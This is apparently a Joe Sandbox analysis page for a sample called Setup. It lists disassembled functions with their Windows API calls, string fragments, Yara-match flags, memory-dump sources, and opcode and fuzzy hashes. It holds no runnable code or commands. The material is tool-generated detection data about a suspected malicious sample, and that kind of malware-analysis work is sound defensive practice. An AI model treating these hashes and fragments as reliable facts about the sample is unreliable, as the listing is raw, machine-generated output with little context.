Opcode ID: fd7d9924adfa1e625bd289e358ea16574cf9e588701d397ad0583404173b99d6
Instruction ID: 20ab519874cb15c0cfd38507d16c2e3ec0180c51e83a5291019b70878e5129ed
Opcode Fuzzy Hash: fd7d9924adfa1e625bd289e358ea16574cf9e588701d397ad0583404173b99d6
Instruction Fuzzy Hash: 57F0EC31259200EEDF50E715DC46B9937C55721715F10407FF348E62A1C66C8495472F

Function 0045A1FC Relevance: 3.0, APIs: 2, Instructions: 23timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0045A206
FileTimeToLocalFileTime.KERNEL32(?,0049B8A8,?), ref: 0045A213

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID:
API String ID: 1748579591-0
Opcode ID: 18d6afbcb5d770450d736600d10925226dada71a7ef9dac0fcacbf43a35d3206
Instruction ID: 8a5c15e0b12b56df7e029c8bb5bad3207bead6fdbe1ba6af1ad8e3cbf7032e11
Opcode Fuzzy Hash: 18d6afbcb5d770450d736600d10925226dada71a7ef9dac0fcacbf43a35d3206
Instruction Fuzzy Hash: 41E07D75D1020D9BCB00DBE5DC419DFF7BCEA09314F400677A914E3296E735A6188BA9

Function 004240A0 Relevance: 3.0, APIs: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 004240A7

Part of subcall function 00423990: EnumWindows.USER32(00423928), ref: 004239B4
Part of subcall function 00423990: GetWindow.USER32(?,00000003), ref: 004239C9
Part of subcall function 00423990: GetWindowLongA.USER32(?,000000EC), ref: 004239D8
Part of subcall function 00423990: SetWindowPos.USER32(00000000,h@B,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004240B7,?,?,00423C7F), ref: 00423A0E

SetActiveWindow.USER32(?,?,?,00423C7F,00000000,00424068), ref: 004240BB

Part of subcall function 00423558: ShowWindow.USER32(00410660,00000009,?,00000000,0041ED24,00423846,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B18), ref: 00423573

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$ActiveEnumIconicLongShowWindows
String ID:
API String ID: 2671590913-0
Opcode ID: 155eef97aaf6f754d0a12b0d9817166acadaff992b5d8decc4dcc072e4cd2841
Instruction ID: 1469b80ac99b2eecfd23579402d9e6aa610a7bbbeada60cf2cac1a87e4943782
Opcode Fuzzy Hash: 155eef97aaf6f754d0a12b0d9817166acadaff992b5d8decc4dcc072e4cd2841
Instruction Fuzzy Hash: 4AE01AA030021097DF00AFA9D8C4B8B33A4BB48304F54457ABD08CF24BDA7DDD90C724

Function 03173057 Relevance: 2.8, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

\LCO, xrefs: 03173294
PL, xrefs: 03173173

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: PL$\LCO
API String ID: 0-923726179
Opcode ID: a694e9300af42bf6f2077b8c9f73214c788879c54583c9c0bd747ead3f0cfa2c
Instruction ID: 5eba3e947ca64d6f6ca15463323c490b5125ec226cb4192b75a6d5d6e124ccb5
Opcode Fuzzy Hash: a694e9300af42bf6f2077b8c9f73214c788879c54583c9c0bd747ead3f0cfa2c
Instruction Fuzzy Hash: 05A1D07550C3818BD719CF2984A036BFFE1AF9B304F1C496DE4D597292D77A880ACB86

Function 0044C328 Relevance: 1.7, APIs: 1, Instructions: 188nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,0044C523), ref: 0044C511

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 4cc6bbb2682e733bc984ec9536e5d2d32f079047bad3cb89db152af128676a8a
Instruction ID: ed0e9690a89bdae38ab3fee57830c074c7d8131829f8d15cd6e21f911fdb9424
Opcode Fuzzy Hash: 4cc6bbb2682e733bc984ec9536e5d2d32f079047bad3cb89db152af128676a8a
Instruction Fuzzy Hash: 7751E3316092449BE750DF6AD6D192AF3E5EF98304B28C2BBD805D7362DB38ED01CB59

Function 004125DC Relevance: 1.7, APIs: 1, Instructions: 188nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,004127D9), ref: 004127C7

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 1ade4ce03dc6b04d83b680a517bbb119af9c7666d111be366a2d70ab24749358
Instruction ID: 4df8029741b244b1126fd323a702fc027c912c328042beb8398034501363cd27
Opcode Fuzzy Hash: 1ade4ce03dc6b04d83b680a517bbb119af9c7666d111be366a2d70ab24749358
Instruction Fuzzy Hash: 2D51E5356082058FC710DF5AD681A9BF3E1FF98314B2481BBD414C3796DBB8AD918B4D

Function 0317E31A Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

NP,?, xrefs: 0317E54A

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: NP,?
API String ID: 0-3110377521
Opcode ID: a08d144955d9c906b9069473368a354a6e3d7f041b47d728d65520edf6df4dfd
Instruction ID: a7cbcecc083c109c4f2e70c974f9acda819c64027f5f34b11f0e93a5c7864724
Opcode Fuzzy Hash: a08d144955d9c906b9069473368a354a6e3d7f041b47d728d65520edf6df4dfd
Instruction Fuzzy Hash: FDA14475A043009BD724DF24C880B2BB7F6EBCD324F1D8668F5A95B291D771E846CBA1

Function 0047AC70 Relevance: 1.6, APIs: 1, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0047ADBE

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: b103984e9da85685b197b00a98101eb0ebf4dbb6ac7163b38e56b4faf6da75e0
Instruction ID: 1a92db08f962178add68812bc3154a37844b0ff378cd2ae99af43c1202672d57
Opcode Fuzzy Hash: b103984e9da85685b197b00a98101eb0ebf4dbb6ac7163b38e56b4faf6da75e0
Instruction Fuzzy Hash: 4D414F75604104DFCB20CF99D2808AEB7F6EB88311B64C992E849DBB15E338EE51DB56

Function 031696C2 Relevance: 1.6, Strings: 1, Instructions: 353COMMON

Download Yara Rule

Strings

, xrefs: 031698E2

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 7973b4c1f1e50ac0683abeaa0578d39e638ced97aaf04a4f08e1395a0d910024
Instruction ID: 87892d5fba3fc6a1e754756dc743f73bb7da03e8b9c95dfd87c16174a41e766a
Opcode Fuzzy Hash: 7973b4c1f1e50ac0683abeaa0578d39e638ced97aaf04a4f08e1395a0d910024
Instruction Fuzzy Hash: 02B14A71A053568FD728CFA8C8A12B6BBE1EF1A320F0D96ADC8465F3C2D3348595D791

Function 004125AD Relevance: 1.6, APIs: 1, Instructions: 80nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,004127D9), ref: 004127C7

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: f3eb720b3eb627cf3b0fa287488b238921b49e0353ed3f6915edf6afd6ffe045
Instruction ID: 7c18d2e790c3972486eb81d125f213aff9f4f90e586282354712aee2c8a291a3
Opcode Fuzzy Hash: f3eb720b3eb627cf3b0fa287488b238921b49e0353ed3f6915edf6afd6ffe045
Instruction Fuzzy Hash: 8921497210C2404FC312CF7DDB55897BFE8EF8631071544AFE4A4C36A2E6BC98628719

Function 0315F71A Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

$, xrefs: 0315F8AC

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 353886600ded48c6ded09e920ad39fa90f3aa7869d9c01e7fd72830cfd9466ba
Instruction ID: ece59b17a5deed6f3e3097789456a10d1136b0746ee2c6eb98b5b88a7208630c
Opcode Fuzzy Hash: 353886600ded48c6ded09e920ad39fa90f3aa7869d9c01e7fd72830cfd9466ba
Instruction Fuzzy Hash: E891D633759A80CBD72CDA3C4C6526AA9834BD7234F2EC77EB9B5873E5DAA448064341

Function 004303D4 Relevance: 1.5, APIs: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 00430437

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 985ec1eb86534e455c68640f97655495f0502a680a0baf9e4b00774cc1888e72
Instruction ID: d05424ac6f460eaf359400e46d91cd841dade7137a76ec8063e892d7b355b06a
Opcode Fuzzy Hash: 985ec1eb86534e455c68640f97655495f0502a680a0baf9e4b00774cc1888e72
Instruction Fuzzy Hash: FDF0F672604214AF9B00DF99D991C9AB7FCEB0D32076140B7FA08D7201D234AD00CB74

Function 0044E444 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 0044E461

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 466ba285a37f5eb01252066ed83387acc1b0aaeeeb49e9f21994600df3544203
Instruction ID: 2cc8299c354679d41265b28117c8c60e9a118f9fa116637fe3388e88ab173377
Opcode Fuzzy Hash: 466ba285a37f5eb01252066ed83387acc1b0aaeeeb49e9f21994600df3544203
Instruction Fuzzy Hash: 16E0ED319056188AEF30D9764D4679BB7B8B70131DF0105EADA1CA2342DB355EC98E55

Function 004085BC Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004087BE,?,?,?,00000000,00408970), ref: 004085CF

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 4ed482bab180877030f1e854c62e59c5359c88693325c1ae869247d1c4578f98
Instruction ID: 1c2e567364434123e418b31c3971de58ecbe6696f5156ebe576c773066241d6d
Opcode Fuzzy Hash: 4ed482bab180877030f1e854c62e59c5359c88693325c1ae869247d1c4578f98
Instruction Fuzzy Hash: 74D05E6630D2543AE220625A2E85DBB5BACCAC57A4F10403EB988D6242DA24CC069376

Function 00458024 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?), ref: 0045803A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: f17fb41eb6b6b90fae4eb09cbeb7a5758371cdf66c81823af8cef74cd055af3f
Instruction ID: b8bbeda61bd27ac6d825262dda50a7818d6a71c430a1672e011dc4be6b1b47d5
Opcode Fuzzy Hash: f17fb41eb6b6b90fae4eb09cbeb7a5758371cdf66c81823af8cef74cd055af3f
Instruction Fuzzy Hash: DCD0C27171420063C700AAA48C8159A31CC8B84311F000C3E3CDDE62C3EEBEDA8C536A

Function 0042F230 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042F24C

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 1bb99d9df910b5f5918296c0509feca891b229616ce881151c359b7273094c49
Instruction ID: 3ce36d4e3ffd050330ece9b072838d0e60210c7d68a0848d5d773b0cce0cac55
Opcode Fuzzy Hash: 1bb99d9df910b5f5918296c0509feca891b229616ce881151c359b7273094c49
Instruction Fuzzy Hash: D8D0A77120021CAFDB00CD98E840C6F33BC9B98700B90C826F908C7201C634FC118775

Function 0314A2AA Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

C`AF, xrefs: 0314A4CF

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: C`AF
API String ID: 0-2532276494
Opcode ID: 82c105d81dff92ac00973926e12f061c31add6f45fba071061bd910b8eba2acc
Instruction ID: 4370d4fd7be230925981605955ec737e58fa5cd65b6b60f2c536e31416369ecf
Opcode Fuzzy Hash: 82c105d81dff92ac00973926e12f061c31add6f45fba071061bd910b8eba2acc
Instruction Fuzzy Hash: 40718B77B447044BD308EFA9DC5536AF6D79BC9310F0E853D9889DB391EEB889058386

Function 0318175A Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

-, xrefs: 0318180B

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 015e182cef0821b5caafbe3e2861ebd458fed11551a84267c1db5376a7ed23a2
Instruction ID: 685ae311877a1995fa424d427c71b88932d88f1ae45189bc57a1c032336a2ac1
Opcode Fuzzy Hash: 015e182cef0821b5caafbe3e2861ebd458fed11551a84267c1db5376a7ed23a2
Instruction Fuzzy Hash: 4D91E072A0C3819FC315DF28C49166EBBE1ABCA214F1D8A7DE4D58B352D335D846CB86

Function 0317671A Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

$, xrefs: 0317685C

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 0e4137276b267969250297fb2d539d81e6984b35f8d2a4ab02811ccb3bab363a
Instruction ID: c9030d8d83b2cf9166a71020e8ab6cdc3688b7dc0f80eff9e369fec1a6e730b9
Opcode Fuzzy Hash: 0e4137276b267969250297fb2d539d81e6984b35f8d2a4ab02811ccb3bab363a
Instruction Fuzzy Hash: AD711926A0DFE04BC7189A3C5C503B9BE634B9B230F2E836EE9F1473D2D75589458395

Function 031711BD Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

\b(., xrefs: 031711DF

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: \b(.
API String ID: 0-1783092013
Opcode ID: e71199c0a7e6c8741dd6ca4434761defe8953d5c75a620432cdecf37618eb76a
Instruction ID: 69a95cd9639a46f483e5931ee1a7572597eb1eaa5df13573d4ff527845b3dc4a
Opcode Fuzzy Hash: e71199c0a7e6c8741dd6ca4434761defe8953d5c75a620432cdecf37618eb76a
Instruction Fuzzy Hash: 7D51147560D3818BD338CF3588A93ABBBE29FD6300F1CC96DC0D99B661DB7844068B52

Function 0317E70A Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

aYX[, xrefs: 0317E75A

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: aYX[
API String ID: 0-1332217189
Opcode ID: dbafe5c07b524363ec6d59a4a2b53475b7d061f95e52a4e9c1a5553357d44675
Instruction ID: 9403a72c7255f6fa4d1c5be2239edea4c9a811791c6c144903133a26505eb777
Opcode Fuzzy Hash: dbafe5c07b524363ec6d59a4a2b53475b7d061f95e52a4e9c1a5553357d44675
Instruction Fuzzy Hash: E0414776A08301ABE314DF61DC40B2BB7E9EF89704F18896CF88597140E731ED048BE6

Function 031721DF Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

jDLJ, xrefs: 031721F1

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: jDLJ
API String ID: 0-3364439520
Opcode ID: 208d9910898305c8a690f0038673dea0d66d9acda1fc0550d4490da15e9804a3
Instruction ID: 2d0b4af3de9b592c1e36f2fb819ad789a64786fe639f9ae392a81bf004a23610
Opcode Fuzzy Hash: 208d9910898305c8a690f0038673dea0d66d9acda1fc0550d4490da15e9804a3
Instruction Fuzzy Hash: 61313A32D197618BD314CE2C881136AFBE2ABDB325F2E865DD4E4972D9DB7484064BC2

Function 031843BA Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

@, xrefs: 03184422

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ada7091240d9b557b9a5572a6e84a822330d2420efffb1b8def4603e0dc4beb6
Instruction ID: f58763226f6273a9fe0b85bf25471f88be6a79891e53ead13d282e15a77ff420
Opcode Fuzzy Hash: ada7091240d9b557b9a5572a6e84a822330d2420efffb1b8def4603e0dc4beb6
Instruction Fuzzy Hash: 632104754043059FD318EF19C8C166BF7B4FF89324F159A2DE9A8072E0E77599088F9A

Function 0043DA1C Relevance: .9, Instructions: 916COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0066744898e72e5abdb98f96662f1df2ccbaaeabc8059daeb620c9cdb89f57a
Instruction ID: 7c32ea7db5a0a7925b53236bc17617899d12f7518ed0bf1ea512d2d76aafc9a8
Opcode Fuzzy Hash: c0066744898e72e5abdb98f96662f1df2ccbaaeabc8059daeb620c9cdb89f57a
Instruction Fuzzy Hash: C492CF74A00149DFDB04DF98C6859AEB7B1FF09314F2591A6E911AB362C338EE46DF48

Function 00454588 Relevance: .9, Instructions: 908COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5297c28310da2ec6660e9218a7ff244dadfb028ad5ce255782566e82e31d6b10
Instruction ID: 4344461b088ec5a8183c6a7e61cd4d021cf58799423244b6cdc53e686e57ea3e
Opcode Fuzzy Hash: 5297c28310da2ec6660e9218a7ff244dadfb028ad5ce255782566e82e31d6b10
Instruction Fuzzy Hash: 3A42733365962D0BE358ADEE4C48095F1C7AED4264B6F423D8A14D7312FCF9EC52A6C8

Function 031481FA Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2db82a6d22929aa14d807eea27360cbaf861a149118a89360bf4c708cc653d
Instruction ID: 4e4aa451699cf54a474075d63c79ea935611d7c90efa7ccbdb0bfb811fe96eb0
Opcode Fuzzy Hash: bf2db82a6d22929aa14d807eea27360cbaf861a149118a89360bf4c708cc653d
Instruction Fuzzy Hash: 4A52D8B0A08B849FE735CB24C4883A7BBE5EF8A314F1C496DD5E6076C2C37AA585C715

Function 0314479A Relevance: .7, Instructions: 657COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 205bd127e30bf2d6e6e7bee8ccaa8ee9f46214a6e5b1d44f3dfeccd49a692c0a
Instruction ID: 547247020b4bd4ccf6ea14da63ac7502622f066a08380e1c22cfe7af79e34dfa
Opcode Fuzzy Hash: 205bd127e30bf2d6e6e7bee8ccaa8ee9f46214a6e5b1d44f3dfeccd49a692c0a
Instruction Fuzzy Hash: 4D52C2359083458FC719CF29C0907AAFBE2FF89314F198A6DE89957342DB75D889CB81

Function 0314519A Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46f206ddc740ffe3e07718a9e36935b13477c3c025b5443b09b4385ad6176c8
Instruction ID: 38177d5d49d998c4c47e6e289ebf63168b937d47371816a46aa96fda64999d9d
